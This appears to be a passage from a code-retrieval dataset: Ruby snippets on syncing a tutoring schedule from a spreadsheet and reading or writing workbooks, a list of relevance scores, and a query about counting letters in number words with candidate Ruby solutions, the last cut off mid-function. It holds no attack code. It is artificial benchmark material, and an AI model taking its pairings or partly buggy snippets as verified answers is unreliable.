they are moved into this lesson.\n # Note 2: there could be tutrole records in db that are not in ss.\n # ---------------------------------------------------------------------\n # Step 1: get all the lessons in this slot\n thislessons = Lesson.where(slot_id: thisslot.id)\n # Step 2: get all the tutrole records for this slot\n # and all the role records for this slot\n alltutroles = Tutrole.where(lesson_id: thislessons.ids).\n where.not(kind: ['onSetup', 'onCall'])\n allroles = Role.where(lesson_id: thislessons.ids)\n # Step 3:\n if(mylessons = r[\"lessons\"]) # this is all the standard\n # ss lessons in this slot\n mylessons.each do |mysess| # treat lesson by lesson from ss\n # process each ss lesson row\n thislesson = nil # ensure all reset\n mylessoncomment = \"\"\n mylessonstatus = \"standard\" # default unless over-ridden\n #\n # Process Tutors, then students, then comments\n # A sesson can have only comments without tutors & students\n #\n # Step 3a - check if tutors present\n # if so, this is the lesson to hang onto.\n # Will check later if the students are in the same lesson.\n flagtutorpresent = flagstudentpresent = FALSE\n #\n # Process tutor\n #\n mytutor = mysess[\"tutor\"] # only process if tutor exists\n # mytutor[0] is ss name string,\n # mytutor[1] is colour\n # mytutor[2] will record the view feedback\n mytutorcomment = \"\" # provide full version in comment\n tutroleupdates = \"\" # feedback for display in view\n if mytutor \n mytutorcomment = mytutor[0]\n mytutornamecontent = findTutorNameComment(mytutor[0], @tutors) \n mytutorstatus = colourToStatus(mytutor[1])[\"tutor-status\"]\n mytutorkind = colourToStatus(mytutor[1])[\"tutor-kind\"]\n if mytutorkind == 'BFL'\n mylessonstatus = 'on_BFL'\n end\n if mytutornamecontent.empty? || # no database names found for this tutor\n mytutornamecontent[0]['name'] == \"\"\n # put ss name cell content into lesson comment\n mylessoncomment += mytutor[0] \n else\n flagtutorpresent = TRUE\n # We have this tutor\n # Find all the tutroles this tutor - this will link\n # to all the lessons this tutor is in.\n # thisslot is the slot we are current populating\n thistutor = Tutor.where(pname: mytutornamecontent[0][\"name\"]).first\n thistutroles = alltutroles.where(tutor_id: thistutor.id)\n if thistutroles.empty? # none there, so create one\n # Step 4ai: Create a new lesson containing\n thislesson = Lesson.new(slot_id: thisslot.id,\n status: mylessonstatus)\n if thislesson.save\n tutroleupdates += \"|lesson created #{thislesson.id}|\"\n else\n tutroleupdates += \"|lesson creation failed\"\n end\n thistutrole = Tutrole.new(lesson_id: thislesson.id,\n tutor_id: thistutor.id,\n comment: mytutorcomment,\n status: mytutorstatus,\n kind: mytutorkind)\n if thistutrole.save\n tutroleupdates += \"|tutrole created #{thistutrole.id}|\"\n else\n tutroleupdates += \"|tutrole creation failed|\"\n end\n else # already exist\n thistutroles.each do |thistutrole1|\n # get the lesson they are in\n thislesson = Lesson.find(thistutrole1.lesson_id)\n if thislesson[:status] != mylessonstatus\n thislesson[:status] = mylessonstatus\n if thislesson.save\n tutroleupdates += \"|updated lesson status #{thislesson.id}|\"\n else \n tutroleupdates += \"|lesson status update failed|\"\n end\n end\n if thistutrole1.comment == mytutorcomment &&\n thistutrole1.status == mytutorstatus &&\n thistutrole1.kind == mytutorkind\n tutroleupdates += \"|no change #{thistutrole1.id}|\"\n else\n if thistutrole1.comment != mytutorcomment\n #thistutrole1.update(comment: mytutorcomment)\n thistutrole1.comment = mytutorcomment end\n if thistutrole1.status != mytutorstatus\n #thistutrole1.update(status: mytutorstatus)\n thistutrole1.status = mytutorstatus\n end\n if thistutrole1.kind != mytutorkind\n #thistutrole1.update(status: mytutorkind)\n thistutrole1.status = mytutorkind\n end\n if thistutrole1.save\n tutroleupdates += \"|updated tutrole #{thistutrole1.id}|\"\n else\n tutroleupdates += \"|update failed|\"\n end\n end\n end # thistutroles.each \n end # if thistutroles.emepty?\n mytutor[2] = tutroleupdates\n end\n end\n #\n # Process students\n #\n mystudents = mysess[\"students\"]\n unless mystudents == nil || mystudents.empty? # there are students in ss\n mystudents.each do |mystudent| # precess each student\n roleupdates = \"\" # records changes to display in view\n mystudentcomment = \"\"\n mystudentstatus = colourToStatus(mystudent[1])[\"student-status\"]\n mystudentkind = colourToStatus(mystudent[1])[\"student-kind\"]\n mystudentnamecontent = findStudentNameComment(mystudent[0], @students) \n if mystudentnamecontent.empty? || # no database names found for this student\n mystudentnamecontent[0]['name'] == \"\"\n # put ss name string into lesson comment\n mylessoncomment += mystudent[0] \n else\n flagstudentpresent = TRUE # we have students\n thisstudent = Student.where(pname: mystudentnamecontent[0][\"name\"]).first\n #logger.debug \"thisstudent: \" + thisstudent.inspect\n thisroles = allroles.where(student_id: thisstudent.id)\n # CHECK if there is already a lesson from the tutor processing \n # Step 4ai: Create a new lesson ONLY if necessary\n unless thislesson\n thislesson = Lesson.new(slot_id: thisslot.id,\n status: mylessonstatus)\n if thislesson.save\n roleupdates += \"|created lesson #{thislesson.id}|\"\n else\n roleupdates += \"|lesson creation failed|\"\n end\n end\n if thisroles.empty? # none there, so create one\n thisrole = Role.new(lesson_id: thislesson.id,\n student_id: thisstudent.id,\n comment: mystudentcomment,\n status: mystudentstatus,\n kind: mystudentkind)\n if thisrole.save\n roleupdates += \"|role created #{thisrole.id}|\"\n else\n roleupdates += \"|role creation failed|\"\n end\n else # already exist\n thisroles.each do |thisrole1|\n # An additional check for students\n # If a student is allocated to a different tutor\n # in the db, then we will move them to this tutor\n # as per the spreadsheet.\n # Note that a student cannot be in a lesson twice.\n if thislesson.id != thisrole1.lesson_id\n # move this student - update the role\n # student can only be in one lesson for a given slot.\n if thisrole1.update(lesson_id: thislesson.id)\n roleupdates += \"|role move updated #{thisrole1.id}|\"\n else\n roleupdates += \"|role move failed|\"\n end\n end\n if thisrole1.comment == mystudentcomment &&\n thisrole1.status == mystudentstatus &&\n thisrole1.kind == mystudentkind\n roleupdates += \"|no change #{thisrole1.id}|\"\n else\n if thisrole1.comment != mystudentcomment\n #thisrole1.update(comment: mystudentcomment)\n thisrole1.comment = mystudentcomment\n end\n if thisrole1.status != mystudentstatus\n #thisrole1.update(status: mystudentstatus)\n thisrole1.status = mystudentstatus\n end\n if thisrole1.kind != mystudentkind\n #thisrole1.update(status: mystudentkind)\n thisrole1.kind = mystudentkind\n end\n if thisrole1.save\n #r[\"roleupdates\"] += \"|role updated #{thisrole1.id}|\"\n roleupdates += \"|role updated #{thisrole1.id}|\"\n else\n #r[\"roleupdates\"] += \"|role update failed #{thisrole1.id}|\"\n roleupdates += \"|role update failed #{thisrole1.id}|\"\n end\n end\n end # thisroles.each \n end # if thisroles.emepty?\n end\n mystudent[2]= roleupdates\n end\n end\n #\n # Process comments\n #\n if mysess[\"comment\"]\n mycomments = mysess[\"comment\"].strip\n mylessoncomment += mycomments if mycomments != \"\"\n end\n # process comments - my have been generated elsewhere (failed tutor\n # and student finds, etc. so still need to be stored away \n if mylessoncomment != \"\" # some lesson comments exist\n # if no lesson exists to place the comments\n # then we need to build one.\n unless thislesson\n # let's see if there is a lesson with this comment\n # looking through the lessons for this slot that do\n # not have a tutor or student\n # Need the sesson that have no tutor or student - already done\n allcommentonlylessons = thislessons -\n thislessons.joins(:tutors, :students).distinct\n # now to see if this comment is in one of these\n allcommentonlylessons.each do |thiscommentlesson|\n if thiscommentlesson.comments == mylessoncomment\n thislesson = thiscommentlesson\n break\n end\n end\n end\n # see if we now have identified a lesson for this comment\n # create one if necessary\n #r[\"commentupdates\"] = \"\"\n unless thislesson\n thislesson = Lesson.new(slot_id: thisslot.id,\n status: 'standard')\n if thislesson.save\n r[\"commentupdates\"] += \"|created session for comments #{thislesson.id}|\"\n else\n r[\"commentupdates\"] += \"|created session for comments failed|\"\n end\n end\n if mylessoncomment == thislesson.comments\n r[\"commentupdates\"] += \"|no change #{thislesson.id}|\"\n else\n thislesson.update(comments: mylessoncomment)\n if thislesson.save\n r[\"commentupdates\"] += \"|updated lesson comment #{thislesson.id}|\"\n else\n r[\"commentupdates\"] += \"|lesson comment update failed #{thislesson.id}|\"\n end \n end\n end\n end\n end\n end\n end", "def set_timesheet\n begin\n @timesheet = @current_employee.timesheets.find(params[:id])\n rescue StandardError => ex\n @timesheet = nil\n end\n end", "def build_xlsx_and_parse(script_file)\n temp_script_data = DocBuilderWrapper.change_output_file(script_file, :xlsx)\n build_doc(temp_script_data[:temp_script_file])\n OoxmlParser::XlsxParser.parse_xlsx(temp_script_data[:temp_output_file])\n end", "def spreadsheet\n if contains_extractable_spreadsheet?\n workbook = parse_spreadsheet\n if content_blob.worksheets.empty?\n workbook.sheets.each_with_index do |sheet, sheet_number|\n content_blob.worksheets << Worksheet.create(sheet_number: sheet_number, last_row: sheet.last_row,\n last_column: sheet.last_col)\n end\n content_blob.save\n end\n workbook\n end\n end", "def write_to_sheet(worksheet, api_data, format)\n col = row = 0\n # puts \"api_data #{api_data.size}\"\n for row in 0...api_data.size\n contents = api_data[row]\n # puts \"contents : #{contents.size}\"\n for col in 0...contents.length\n # puts \"contents[col #{contents[col]}\"\n worksheet.write(row, col, contents[col], format)\n end\n end\nend", "def save_as_spreadsheet\n i = 1\n\n # Creates a session. This will prompt the credential via command line for the\n # first time and save it to config.json file for later usages.\n session = GoogleDrive::Session.from_config(\"../../config.json\")\n\n # Put the key from the google spreadsheet you whant to use\n ws = session.spreadsheet_by_key(\"14NaBtVAdrbCF6CSlLhrBM0Ob9nE96zvyrwKNkSF3oIY\").worksheets[0]\n\n # Puts cities and cities emails in 2 colones\n for y in 0...@ville_name_array.length\n ws[i, 1] = @ville_name_array[y]\n ws[i, 2] = @ville_email_array[y]\n i += 1\n end\n ws.save\n\n # Reloads the worksheet to get changes by other clients.\n ws.reload\n end", "def get_spreadsheet_id(date_time)\n month = date_time.strftime(\"%m\").to_i\n year = date_time.strftime(\"%Y\").to_i\n id = Spreadsheet.get_id_by_date(month, year)\n return id\nend", "def spreadsheet\n if is_extractable_spreadsheet?\n workbook = parse_spreadsheet_xml(spreadsheet_xml)\n if content_blob.worksheets.empty?\n workbook.sheets.each_with_index do |sheet, sheet_number|\n content_blob.worksheets << Worksheet.create(:sheet_number => sheet_number, :last_row => sheet.last_row, :last_column => sheet.last_col)\n end\n content_blob.save\n end\n return workbook\n else\n return nil\n end\n end", "def create_xlsx(external_verify, verify, verified, not_complete, pre_title, extra_columns = [], value_lambdas = [])\n p = Axlsx::Package.new(author: 'Admin')\n wb = p.workbook\n add_wb(wb, external_verify, \"#{pre_title} Externally Verify\", extra_columns, value_lambdas)\n add_wb(wb, verify, \"#{pre_title} Verify\", extra_columns, value_lambdas)\n add_wb(wb, verified, \"#{pre_title} Verified\", extra_columns, value_lambdas)\n add_wb(wb, not_complete, \"#{pre_title} Not Complete\", extra_columns, value_lambdas)\n p\n end", "def open_spreadsheet\n @spreadsheet = SimpleSpreadsheet::Workbook.read(temp_path)\n @spreadsheet.selected_sheet = @spreadsheet.sheets.first\n\n columns.each do |column|\n name = self.class.column_names.find{ |column_name|\n cell_text = strip_all(cell(1, column))\n cell_text == strip_all(column_name[0]) || cell_text == strip_all(column_name[1])\n }\n @has_header = true if name.present?\n column_matches << name.try(:[], 1).to_s\n end\n end", "def samplesheet_file\n\t\t\"#{dir}/samplesheet\"\n\n\tend", "def populate_spreadsheet(date, spreadsheet_link, spreadsheet_id)\n month = date.month\n while date.month == month do \n create_new_sheet(date, spreadsheet_id)\n date = date.tomorrow\n end\n \n #delete the first sheet\n delete_sheet(spreadsheet_link, spreadsheet_id)\nend", "def open_spreadsheet(file)\n if file.class == ActionDispatch::Http::UploadedFile\n Rails.logger.info \"-=-=-=#{file.path}\"\n case File.extname(file.original_filename)\n when \".csv\" then convert(file.path)\n when \".xls\" then Roo::Excel.new(file.path, nil, :ignore)\n when \".xlsx\" then Roo::Excelx.new(file.path,nil,:ignore)\n when \".ods\" then Roo::OpenOffice.new(file.path,false,:ignore)\n when \".gpx\" then GpxParser.new.convert(file.path)\n else raise \"Unknown file type: #{file.original_filename}\"\n end\n else\n x = write_temp_file(CSV.parse(open(file) {|f| f.read}))\n spreadsheet = convert(x)\n cleanup_temp_file(x)\n spreadsheet\n end\n end", "def store_workbook # :nodoc:\n # Add a default worksheet if non have been added.\n add_worksheet if @worksheets.empty?\n\n # Ensure that at least one worksheet has been selected.\n @worksheets.visible_first.select if @activesheet == 0\n\n # Set the active sheet.\n @activesheet = @worksheets.visible_first.index if @activesheet == 0\n @worksheets[@activesheet].activate\n\n # Convert the SST strings data structure.\n prepare_sst_string_data\n\n # Prepare the worksheet VML elements such as comments and buttons.\n prepare_vml_objects\n # Set the defined names for the worksheets such as Print Titles.\n prepare_defined_names\n # Prepare the drawings, charts and images.\n prepare_drawings\n # Add cached data to charts.\n add_chart_data\n\n # Prepare the worksheet tables.\n prepare_tables\n\n # Prepare the metadata file links.\n prepare_metadata\n\n # Package the workbook.\n packager = Package::Packager.new(self)\n packager.set_package_dir(tempdir)\n packager.create_package\n\n # Free up the Packager object.\n packager = nil\n\n # Store the xlsx component files with the temp dir name removed.\n ZipFileUtils.zip(\"#{tempdir}\", filename)\n\n IO.copy_stream(filename, fileobj) if fileobj\n Writexlsx::Utility.delete_files(tempdir)\n end" ]
[ "0.72333217", "0.659027", "0.64731777", "0.6371052", "0.63653183", "0.61595124", "0.598233", "0.595309", "0.5830057", "0.57880074", "0.5725439", "0.5711408", "0.5710881", "0.5648192", "0.56302893", "0.56298536", "0.5623531", "0.5619475", "0.560483", "0.5592175", "0.5574443", "0.5574403", "0.55656385", "0.55254406", "0.55209005", "0.55075896", "0.5500166", "0.5440869", "0.5438968", "0.5435772", "0.543212", "0.54235804", "0.5418869", "0.541785", "0.539045", "0.5372852", "0.53529596", "0.53309995", "0.53298396", "0.5329125", "0.53284013", "0.53193706", "0.5316105", "0.5299328", "0.52815485", "0.52776736", "0.5268287", "0.52555156", "0.5253374", "0.5246756", "0.52396786", "0.52306855", "0.5229671", "0.5221731", "0.52176", "0.52120906", "0.5209726", "0.52003247", "0.51961315", "0.51835227", "0.51755965", "0.5153804", "0.51534665", "0.51353115", "0.5114797", "0.51103824", "0.5109217", "0.51077473", "0.5104029", "0.5103995", "0.51038456", "0.51030535", "0.510253", "0.5100879", "0.5099479", "0.5098181", "0.50957286", "0.5095279", "0.5094426", "0.5090301", "0.50899684", "0.50889075", "0.5081838", "0.5079715", "0.5077024", "0.5074143", "0.50678563", "0.5065537", "0.50595295", "0.5052035", "0.5048777", "0.50470394", "0.5039882", "0.50388706", "0.503718", "0.5030388", "0.502701", "0.5025883", "0.50226635", "0.50158674" ]
0.7089995
1
If all the numbers from 1 to 1000 (one thousand) inclusive were written out in words, how many letters would be used? Do not count spaces or hyphens. For example, 342 (three hundred and fortytwo) contains 23 letters and 115 (one hundred and fifteen) contains 20 letters. The use of "and" when writing out numbers is in compliance with British usage.
def in_words(n) # n / power of 10 = leftmost digit. n % power of 10 = remaining right digits. words = [] case n when 0..19 words.unshift(teen(n)) when 20..99 words.unshift(tens(n)) when 100..999 words.unshift(hundreds(n)) when 1000..999_999 words.unshift(thousands(n)) end words.join(' ') end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def letter_counts(limit)\r\n\t# Define word for cooresponding number\r\n\tnumbers_to_words = {one: 1, two: 2, three: 3, four: 4, five: 5, six: 6, seven: 7, eight: 8, nine: 9, ten: 10,\r\n\t\t\t\t\t\t\t\t\t\t eleven: 11, twelve: 12, thirteen: 13, fourteen: 14, fifteen: 15, sixteen: 16, seventeen: 17, eighteen: 18,\r\n\t\t\t\t\t\t\t\t\t\t nineteen: 19, twenty: 20, thirty: 30, forty: 40, fifty: 50, sixty: 60, seventy: 70, eighty: 80, ninety: 90}\r\n\r\n\t#Variable to count total length\r\n\tcount = 0\r\n\t# Iterate through every number up to limit\r\n\t(1..limit).each do |num|\r\n\t\t# word variable will store word string for current number\r\n\t\tword = \"\"\r\n\t\t# Convert number to array so it is easier to manipulate\r\n\t\tnum_array = num.to_s.split(\"\")\r\n\r\n\t\t# If only one digit long, simply assign key to word\r\n\t\tif num_array.length == 1\r\n\t\t\tx = num_array.join.to_i\r\n\t\t\tword << numbers_to_words.key(x).to_s\r\n\t\tend\r\n\r\n\t\t# If four digits long, add \"one thousand\" to number\r\n\t\tif num_array.length == 4\r\n\t\t\tnum_array.shift\r\n\t\t\tword << \"onethousand\"\r\n\r\n\t\t# If at least three digits, add relevant 1 through 9 key with \"hundred\"\r\n\t\telsif num_array.length >= 3\r\n\t\t\tx = num_array.shift.to_i\r\n\t\t\tword << numbers_to_words.key(x).to_s\r\n\t\t\tword << \"hundred\"\r\n\t\t\t# If number continues after third digit, include \"and\"\r\n\t\t\tword << \"and\" unless num_array == [\"0\",\"0\"]\r\n\t\tend\r\n\r\n\t\t# If at least a two digit number,\r\n\t\tif num_array.length >= 2\r\n\t\t\t# If higher than 20, add relevant 'multiple of ten' key before single key\r\n\t\t\tif num_array.join.to_i > 20\r\n\t\t\t\tx = num_array.shift.to_i * 10\r\n\t\t\t\tword << numbers_to_words.key(x).to_s\r\n\t\t\t\tx = num_array.join.to_i\r\n\t\t\t\tword << numbers_to_words.key(x).to_s\r\n\t\t\t# If less than 20, simply assign key to word\r\n\t\t\telse\r\n\t\t\t\tx = num_array.join.to_i\r\n\t\t\t\tword << numbers_to_words.key(x).to_s\r\n\t\t\tend\r\n\t\tend\r\n\r\n\t\t# Output entire word and increase count by word length\r\n\t\tputs word\r\n\t\tcount += word.length\r\n\tend\r\n\tputs count\r\nend", "def number_letters_count\n ones = { \n 1 => 'one', 2 => 'two', 3 => 'three', 4 => 'four', 5 => 'five',\n 6 => 'six', 7 => 'seven', 8 => 'eight', 9 => 'nine', 10 => 'ten',\n 11 => 'eleven', 12 => 'twelve', 13 => 'thirteen', 14 => 'fourteen',\n 15 => 'fifteen', 16 => 'sixteen', 17 => 'seventeen', 18 => 'eighteen',\n 19 => 'nineteen' \n }\n \n tens = { \n 20 => 'twenty', 30 => 'thirty', 40 => 'forty', 50 => 'fifty', 60 => 'sixty', \n 70 => 'seventy', 80 => 'eighty', 90 => 'ninety' \n }\n\n (1..1000).to_a.map do |num|\n digits = num.to_s.chars.map(&:to_i)\n if num < 20\n num = ones[num]\n elsif num >= 20 && num < 100\n if digits[1] == 0\n num = tens[digits[0] * 10]\n else \n num = tens[digits[0] * 10] + ' ' + ones[digits[1]]\n end\n elsif num >= 100 && num < 1000\n if digits[1] == 0 && digits[2] == 0\n num = ones[digits[0]] + ' hundred'\n elsif digits[1] == 0 && digits[2] != 0\n num = ones[digits[0]] + ' hundred' + ' and ' + ones[digits[2]]\n elsif ones.include? digits[1..2].join.to_i\n num = ones[digits[0]] + ' hundred' + ' and ' + ones[digits[1..2].join.to_i]\n elsif digits[1] != 0 && digits[2] == 0\n num = ones[digits[0]] + ' hundred' + ' and ' + tens[digits[1] * 10]\n elsif digits[1] != 0 && digits[2] != 0\n num = ones[digits[0]] + ' hundred' + ' and ' + tens[digits[1] * 10] + ' ' + ones[digits[2]]\n end\n elsif num == 1000\n num = 'one thousand'\n end\n end.map { |word| word.gsub(' ', '') }.join.length\nend", "def in_words\n num_in_words = \"\"\n ones, tens = \"\", \"\"\n number = self\n return \"zero\" if number == 0\n if number % 100 > 9 && number % 100 < 20\n # we've hit a teen number\n tens = TEENS[number % 100]\n num_in_words.insert(0, tens)\n else\n ones = ONES[number % 10]\n number -= number % 10\n num_in_words.insert(0, ones) if !ones.nil?\n\n if number % 100 > 0\n tens = TENS[number % 100]\n number -= number % 100\n num_in_words.insert(0, tens + \" \")\n end\n end\n\n if (number%1000) >= 100 && (number%1000) < 1000\n hundreds = ONES[(number % 1000)/100] + \" hundred\"\n number -= number % 1000\n num_in_words.insert(0, hundreds + \" \")\n end\n\n greater_than_num = \"\"\n if number >= 1000000000000\n trillions = (number / 1000000000000).in_words + \" trillion\"\n number -= (number / 1000000000000) * 1000000000000\n greater_than_num << trillions + \" \"\n end\n if number >= 1000000000\n billions = (number / 1000000000).in_words + \" billion\"\n number -= (number / 1000000000) * 1000000000\n greater_than_num << billions + \" \"\n end\n if number >= 1000000\n millions = (number / 1000000).in_words + \" million\"\n number -= (number / 1000000) * 1000000\n greater_than_num << millions + \" \"\n end\n if number >= 1000\n thousands = (number / 1000).in_words + \" thousand\"\n number = 0\n greater_than_num << thousands + \" \"\n end\n (greater_than_num + num_in_words).strip\n end", "def in_words(number)\n\tzero_twenty = %w[zero one two three four five six seven eight nine ten eleven twelve thirteen fourteen fifteen sixteen seventeen eighteen nineteen twenty]\n\ttwenty_hundred = ['zero', 'ten', 'twenty', 'thirty', 'forty', 'fifty', 'sixty', 'seventy', 'eighty', 'ninety', 'one hundred']\n\treturn zero_twenty[number] if (0..20).include?(number)\n\treturn twenty_hundred[number / 10] + ' ' + zero_twenty[number % 10]\nend", "def number_word_char_count\n (1..1000).map(&:english_word).join.count_chars\nend", "def letter_count limit\n letters = Hash[0, 0, 1, 3, 2, 3, 6, 3, 10, 3, 4, 4, 5, 4, 9, 4, 3, 5, 7, 5, 8, 5, 40, 5, 50, 5, 60, 5, 11, 6, 12, 6, 20, 6, 30, 6, 80, 6, 90, 6, 15, 7, 16, 7, 70, 7, 13, 8, 14, 8, 18, 8, 19, 8, 17, 9]\n words = Hash[\"and\", 3, \"hundred\", 7, \"thousand\", 8]\n num = 1\n digits = []\n count = 0\n i = 0\n\n letters.each do |k, v|\n # puts \"#{k}, #{v}\"\n end\n\n # puts \"HASH: #{letters[13]}\"\n\n\n while num <= limit\n count_for_word = 0\n\n if num > 9\n digits = num.to_s.reverse.split(//)\n \n # puts \"DIGITS[0]: #{digits[0]}, #{i}\"\n \n if digits[1] == \"1\"\n count_for_word = letters[[digits[0], digits[1]].join.reverse.to_i]\n\n else\n count_for_word = letters[digits[0].to_i] +\n letters[digits[1].to_i * 10]\n end\n count_for_word += letters[digits.fetch(2, 0).to_i] +\n letters[digits.fetch(3, 0).to_i]\n\n if digits[2] != nil && digits[2] != \"0\"\n # if letters[[digits[0], digits[1]].join.reverse.to_i] != 0 \n if [digits[0], digits[1]].join.reverse != \"00\" \n puts count_for_word\n\n count_for_word += words[\"hundred\"] + words[\"and\"]\n else\n count_for_word += words[\"hundred\"]\n end\n end\n\n puts count_for_word\n\n if digits[3] != nil\n count_for_word += words[\"thousand\"]\n end\n\n else\n count_for_word = letters[num].to_i\n end\n\n count += count_for_word\n num += 1\n end\n\n count \nend", "def in_words(num)\n\tnumbers = \n\t\t{0 => \"zero\",\n\t\t1 => \"one\",\n\t\t2 => \"two\",\n\t\t3 => \"three\",\n\t\t4 => \"four\",\n\t\t5 => \"five\",\n\t\t6 => \"six\",\n\t\t7 => \"seven\",\n\t\t8 => \"eight\",\n\t\t9 => \"nine\",\n\t\t10 => \"ten\",\n\t\t11 => \"eleven\",\n\t\t12 => \"twelve\",\n\t\t13 => \"thirteen\",\n\t\t15 => \"fifteen\",\n\t\t20 => \"twenty\",\n\t\t30 => \"thirty\",\n\t\t50 => \"fifty\"}\n\n\tnum_array = num.to_s.split(//).map(&:to_i)\n\tcase num_array.length\n\twhen 1\n\t\tnumbers[num_array[0]]\n\twhen 2\n\t\tif num_array[1] == 0\n\t\t\tif numbers[num].nil?\n\t\t\t\tnumbers[num_array[0]] + \"ty\"\n\t\t\telse numbers[num]\n\t\t\tend\n\t\telse\n\t\t\tcase num_array[0]\n\t\t\twhen 1\n\t\t\t\tif numbers[num].nil?\n\t\t\t\t\tnumbers[num_array[1]] + \"teen\"\n\t\t\t\telse numbers[num]\n\t\t\t\tend\n\t\t\twhen 2\n\t\t\t\tnumbers[20] + \" \" + numbers[num_array[1]]\n\t\t\twhen 3\n\t\t\t\tnumbers[30] + \" \" + numbers[num_array[1]]\n\t\t\twhen 5\n\t\t\t\tnumbers[50] + \" \" + numbers[num_array[1]]\n\t\t\telse numbers[num_array[0]] + \"ty \" + numbers[num_array[1]]\n\t\t\tend\n\t\tend\n\telse\n\t\t\"one hundred\"\n\tend\nend", "def numbersToWords(a,b)\n\nnumbers = {0 => \"\", 1 => \"one\", 2 => \"two\", 3 => \"three\", 4 => \"four\", 5 => \"five\"} \nnumbers.merge! 6 => \"six\", 7 => \"seven\", 8 => \"eight\", 9 => \"nine\", 10 => \"ten\"\nnumbers.merge! 11 => \"eleven\", 12 => \"twelve\", 13 => \"thirteen\", 14 => \"fourteen\" \nnumbers.merge! 15 => \"fifteen\", 16 => \"sixteen\", 17 => \"seventeen\", 18 => \"eighteen\" \nnumbers.merge! 19 => \"nineteen\", 20 => \"twenty\", 30 => \"thirty\", 40 => \"forty\" \nnumbers.merge! 50 => \"fifty\", 60 => \"sixty\", 70 => \"seventy\", 80 => \"eighty\", 90 => \"ninety\" \nnumbers.merge! 100 => \"hundred\", 1000 => \"thousand\"\nwords = 0\n\nfor n in (a..b)\n\nthousands = n/1000\nhundredsAndTensAndOnes = n % 1000\nhundreds = (hundredsAndTensAndOnes / 100) * 100\ntensAndOnes = hundredsAndTensAndOnes - hundreds\ntens = (tensAndOnes / 10) * 10\nones = tensAndOnes - tens\n\nif thousands != 0 \nprint \"#{numbers[thousands]} thousand \"\nwords += numbers[thousands].length\nwords += numbers[1000].length\nend\n\nif thousands != 0 && hundreds == 0 && tensAndOnes != 0\nprint \"and \"\nwords += 3\nend\n\nif hundreds != 0\nprint \"#{numbers[hundreds/100]} hundred \"\nwords += numbers[hundreds/100].length\nwords += numbers[100].length\nend\n\nif hundreds != 0 && tensAndOnes != 0\nprint \"and \"\nwords += 3\nend\n\nif tensAndOnes > 19\nprint \"#{numbers[tens]} #{numbers[ones]}\"\nwords += numbers[tens].length\nwords += numbers[ones].length\nend\n\nif tensAndOnes < 20\nprint \"#{numbers[tensAndOnes]}\"\nwords += numbers[tensAndOnes].length\nend\n\nputs \"\"\n\nend\n\nprint \"There are #{words} letters in the written-out numbers between #{a} and #{b} (inclusive).\"\n\nend", "def determine_how_many(number, unit)\n\t(number / unit).in_words\nend", "def to_hundreds(num)\n\tin_words = \"\"\n\tnum_to_words = Hash.new(0)\n\tnum_to_words = { 1=>\"One\",2=>\"Two\",3=>\"Three\",4=>\"Four\",5=>\"Five\",6=>\"Six\",7=>\"Seven\",8=>\"Eight\",9=>\"Nine\",10=>\"Ten\",11=>\"Eleven\",12=>\"Twelve\",13=>\"Thirteen\",14=>\"Fourteen\",15=>\"Fifteen\",16=>\"Sixteen\",17=>\"Seventeen\",18=>\"Eighteen\",19=>\"Nineteen\",20=>\"Twenty\",30=>\"Thirty\",40=>\"Fourty\",50=>\"Fifty\",60=>\"Sixty\",70=>\"Seventy\",80=>\"Eighty\",90=>\"Ninety\" }\n\n\tif num / 100 > 0\n\t\tin_words = num_to_words[num / 100] + \" Hundred \"\n\n\t\tif num % 10 != 0\n\t\t\tin_words = in_words + \"and \"\n\t\tend\n\t\tnum = num % 100\n\tend\n\n\tif num / 10 > 0\n\t\tif num / 10 == 1\n\t\t\tin_words = in_words + num_to_words[num] + \" \"\n\t\telsif num % 10 == 0\n\t\t\tin_words = in_words + num_to_words[num]\n\t\telse\n\t\t\tin_words = in_words + num_to_words[num / 10*10] + \" \" + num_to_words[num % 10]\n\t\tend\n\telsif num == 0\n\t\tin_words\n\telse \n\t\tin_words = in_words + num_to_words[num]\n\tend\n\n\tin_words\nend", "def countletters(number)\n\n numerical = number.to_s\n\n dictionary = {\n 1 => \"one\", 2 => \"two\", 3 => \"three\", 4 => \"four\", 5 => \"five\",\n 6 => \"six\", 7 => \"seven\", 8 => \"eight\", 9 => \"nine\", 10 => \"ten\",\n 11 => \"eleven\", 12 => \"twelve\", 13 => \"thirteen\", 14 => \"fourteen\",\n 15 => \"fifteen\", 16 => \"sixteen\", 17 => \"seventeen\", 18 => \"eighteen\",\n 19 => \"nineteen\", 20 => \"twenty\", 30 => \"thirty\", 40 => \"fourty\", 50 => \"fifty\",\n 60 => \"sixty\", 70 => \"seventy\", 80 => \"eighty\", 90 => \"ninety\", 100 => \"hundred\",\n 1000 => \"thousand\", 1000000 => \"million\", 1000000000 => \"billion\"\n }\n\n if numerical.length == 2\n if numerical[0]\n p \"#{dictionary[20]}#{dictionary[number-20]}\"\n end\n end\n\nend", "def in_words(givenNumber)\n\t\tstr = \"\"\n\t\tgivenNumber = givenNumber.abs\n\n\t \t# for unique numbers, returns from hash\n\t \tif number_words.has_key?(givenNumber)\n\t \treturn number_words[givenNumber];\n\t \tend\n\n\t\tnumber_words.each do |num, name|\n\t\t if givenNumber == 0\n\t\t return str\n\t\t elsif givenNumber < 100 && givenNumber/num > 0\n\t\t return str + \"#{name}\" if givenNumber% num == 0\n\t\t return str + \"#{name} \" + in_words(givenNumber%num)\n\t\t elsif givenNumber/num > 0 #Just kept it for future use. if givenNumber>100\n\t\t return str + in_words(givenNumber/num) + \" #{name} \" + in_words(givenNumber%num)\n\t\t end\n\t\tend\n\tend", "def letters_to_count(min, max)\n count = 0\n (min..max).each do |number|\n count += to_words(number).downcase.count(\"a-z\")\n end\n count\nend", "def in_words(number) \n numbers_to_words = {\n 0 => 'zero', 1 => 'one', 2 => 'two', 3 => 'three', 4 => 'four', 5 => 'five', 6 => 'six', 7 => 'seven', 8 => 'eight',\n 9 => 'nine', 10 => 'ten', 11 => 'eleven', 12 => 'twelve', 13 => 'thirteen', 14 => 'fourteen', 15 => 'fifteen',\n 16 => 'sixteen', 17 => 'seventeen', 18 => 'eighteen', 19 => 'nineteen', 20 => 'twenty', 30 => 'thirty', 40 => 'forty',\n 50 => 'fifty', 60 => 'sixty', 70 => 'seventy', 80 => 'eighty', 90 => 'ninety', 100 => 'one hundred'\n}\n\nnumberString = []\n\nif number < 21\n numberString << numbers_to_words[number]\nelsif number < 100\n numStr = number.to_s\n numberString << numbers_to_words[(numStr[0].to_i * 10)]\n\n unless numStr[1].to_i == 0\n numberString << numbers_to_words[numStr[1].to_i]\n end\nelse\n numberString << numbers_to_words[100]\nend\n \nreturn 